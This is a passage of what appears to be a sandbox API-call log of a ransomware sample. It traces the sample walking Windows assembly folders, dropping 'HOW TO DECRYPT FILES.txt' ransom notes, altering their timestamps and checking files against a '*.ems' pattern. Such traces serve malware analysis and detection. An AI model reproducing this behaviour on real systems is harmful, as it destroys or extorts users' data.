pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Excel\\14.0.0.0__71e9bce111e9429c\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Excel\\14.0.0.0__71e9bce111e9429c\\") returned="" [0101.021] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Excel\\14.0.0.0__71e9bce111e9429c\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Excel\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Excel\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" [0101.021] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Excel\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.interop.excel\\14.0.0.0__71e9bce111e9429c\\how to decrypt files.txt")) returned 0xffffffff [0101.021] CreateFileA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Excel\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.interop.excel\\14.0.0.0__71e9bce111e9429c\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0101.023] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0101.024] CloseHandle (hObject=0x90) returned 1 [0101.024] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Excel\\14.0.0.0__71e9bce111e9429c\\", lpString2="Policy.12.0.Microsoft.Office.Interop.Excel.config" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Excel\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Excel.config") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Excel\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Excel.config" [0101.024] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Excel\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Excel.config", pszSpec="*.ems") returned 0 [0101.024] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5e822870, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5e822870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5e822870, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x2d88, dwReserved0=0x0, dwReserved1=0x0, cFileName="Policy.12.0.Microsoft.Office.Interop.Excel.dll", cAlternateFileName="POLICY~1.DLL")) returned 1 [0101.024] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0101.024] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Policy.12.0.Microsoft.Office.Interop.Excel.dll") returned -1 [0101.024] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Policy.12.0.Microsoft.Office.Interop.Excel.dll") returned -1 [0101.024] lstrcmpiA (lpString1="", lpString2="Policy.12.0.Microsoft.Office.Interop.Excel.dll") returned -1 [0101.025] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Excel\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Excel.config") returned="Policy.12.0.Microsoft.Office.Interop.Excel.config" [0101.025] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Excel\\14.0.0.0__71e9bce111e9429c\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Excel\\14.0.0.0__71e9bce111e9429c\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Excel\\14.0.0.0__71e9bce111e9429c\\" [0101.025] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Excel\\14.0.0.0__71e9bce111e9429c\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Excel\\14.0.0.0__71e9bce111e9429c\\") returned="" [0101.025] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Excel\\14.0.0.0__71e9bce111e9429c\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Excel\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Excel\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" [0101.025] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Excel\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.interop.excel\\14.0.0.0__71e9bce111e9429c\\how to decrypt files.txt")) returned 0x20 [0101.025] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Excel\\14.0.0.0__71e9bce111e9429c\\", lpString2="Policy.12.0.Microsoft.Office.Interop.Excel.dll" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Excel\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Excel.dll") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Excel\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Excel.dll" [0101.025] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Excel\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Excel.dll", pszSpec="*.ems") returned 0 [0101.025] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5e822870, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5e822870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5e822870, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x2d88, dwReserved0=0x0, dwReserved1=0x0, cFileName="Policy.12.0.Microsoft.Office.Interop.Excel.dll", cAlternateFileName="POLICY~1.DLL")) returned 0 [0101.026] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0101.026] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e822870, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa67c9c50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa67c9c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="14.0.0.0__71e9bce111e9429c", cAlternateFileName="1400~1.0__")) returned 0 [0101.026] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0101.026] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa66e5410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa66e5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa66e5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f0050, dwReserved1=0x69006c, cFileName="Policy.12.0.Microsoft.Office.Interop.Graph", cAlternateFileName="POLICY~2.GRA")) returned 1 [0101.026] lstrcmpA (lpString1=".", lpString2="Policy.12.0.Microsoft.Office.Interop.Graph") returned -1 [0101.026] lstrcmpA (lpString1="..", lpString2="Policy.12.0.Microsoft.Office.Interop.Graph") returned -1 [0101.026] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0101.026] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\", lpString2="Policy.12.0.Microsoft.Office.Interop.Graph" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Graph") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Graph" [0101.026] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Graph\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa66e5410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa66e5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa66e5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0101.027] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0101.027] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa66e5410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa66e5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa66e5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.027] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0101.027] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0101.027] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52b0b4d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa66e5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa66e5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="14.0.0.0__71e9bce111e9429c", cAlternateFileName="1400~1.0__")) returned 1 [0101.027] lstrcmpA (lpString1=".", lpString2="14.0.0.0__71e9bce111e9429c") returned -1 [0101.027] lstrcmpA (lpString1="..", lpString2="14.0.0.0__71e9bce111e9429c") returned -1 [0101.028] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Graph\\*.*") returned="*.*" [0101.028] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Graph\\", lpString2="14.0.0.0__71e9bce111e9429c" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c" [0101.028] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52b0b4d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa66e5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa66e5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x390065, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0101.031] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0101.031] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52b0b4d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa66e5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa66e5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.031] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0101.031] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0101.031] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52b0b4d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x52b0b4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x52b31630, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x382, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Policy.12.0.Microsoft.Office.Interop.Graph.config", cAlternateFileName="POLICY~1.CON")) returned 1 [0101.031] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0101.032] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Policy.12.0.Microsoft.Office.Interop.Graph.config") returned -1 [0101.032] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Policy.12.0.Microsoft.Office.Interop.Graph.config") returned -1 [0101.032] lstrcmpiA (lpString1="", lpString2="Policy.12.0.Microsoft.Office.Interop.Graph.config") returned -1 [0101.032] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\*.*") returned="*.*" [0101.032] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\" [0101.032] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\") returned="" [0101.032] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" [0101.032] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.interop.graph\\14.0.0.0__71e9bce111e9429c\\how to decrypt files.txt")) returned 0xffffffff [0101.032] CreateFileA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.interop.graph\\14.0.0.0__71e9bce111e9429c\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0101.035] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0101.035] CloseHandle (hObject=0x90) returned 1 [0101.036] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\", lpString2="Policy.12.0.Microsoft.Office.Interop.Graph.config" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Graph.config") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Graph.config" [0101.036] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Graph.config", pszSpec="*.ems") returned 0 [0101.036] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x61a6b930, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61a6b930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61a6b930, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x2d88, dwReserved0=0x0, dwReserved1=0x0, cFileName="Policy.12.0.Microsoft.Office.Interop.Graph.dll", cAlternateFileName="POLICY~1.DLL")) returned 1 [0101.036] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0101.036] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Policy.12.0.Microsoft.Office.Interop.Graph.dll") returned -1 [0101.036] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Policy.12.0.Microsoft.Office.Interop.Graph.dll") returned -1 [0101.036] lstrcmpiA (lpString1="", lpString2="Policy.12.0.Microsoft.Office.Interop.Graph.dll") returned -1 [0101.036] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Graph.config") returned="Policy.12.0.Microsoft.Office.Interop.Graph.config" [0101.036] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\" [0101.037] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\") returned="" [0101.037] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" [0101.037] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.interop.graph\\14.0.0.0__71e9bce111e9429c\\how to decrypt files.txt")) returned 0x20 [0101.037] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\", lpString2="Policy.12.0.Microsoft.Office.Interop.Graph.dll" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Graph.dll") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Graph.dll" [0101.037] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Graph.dll", pszSpec="*.ems") returned 0 [0101.037] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x61a6b930, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61a6b930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61a6b930, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x2d88, dwReserved0=0x0, dwReserved1=0x0, cFileName="Policy.12.0.Microsoft.Office.Interop.Graph.dll", cAlternateFileName="POLICY~1.DLL")) returned 0 [0101.038] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0101.038] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52b0b4d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa66e5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa66e5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="14.0.0.0__71e9bce111e9429c", cAlternateFileName="1400~1.0__")) returned 0 [0101.038] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0101.038] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6a513b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6a513b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6a513b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f0050, dwReserved1=0x69006c, cFileName="Policy.12.0.Microsoft.Office.Interop.InfoPath", cAlternateFileName="POLICY~3.INF")) returned 1 [0101.038] lstrcmpA (lpString1=".", lpString2="Policy.12.0.Microsoft.Office.Interop.InfoPath") returned -1 [0101.038] lstrcmpA (lpString1="..", lpString2="Policy.12.0.Microsoft.Office.Interop.InfoPath") returned -1 [0101.038] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0101.038] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\", lpString2="Policy.12.0.Microsoft.Office.Interop.InfoPath" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.InfoPath") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.InfoPath" [0101.038] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.InfoPath\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6a513b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6a513b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6a513b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0101.039] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0101.039] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6a513b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6a513b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6a513b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.039] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0101.039] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0101.039] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x553a8c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6a513b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6a513b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="14.0.0.0__71e9bce111e9429c", cAlternateFileName="1400~1.0__")) returned 1 [0101.040] lstrcmpA (lpString1=".", lpString2="14.0.0.0__71e9bce111e9429c") returned -1 [0101.040] lstrcmpA (lpString1="..", lpString2="14.0.0.0__71e9bce111e9429c") returned -1 [0101.040] PathFindFileNameA 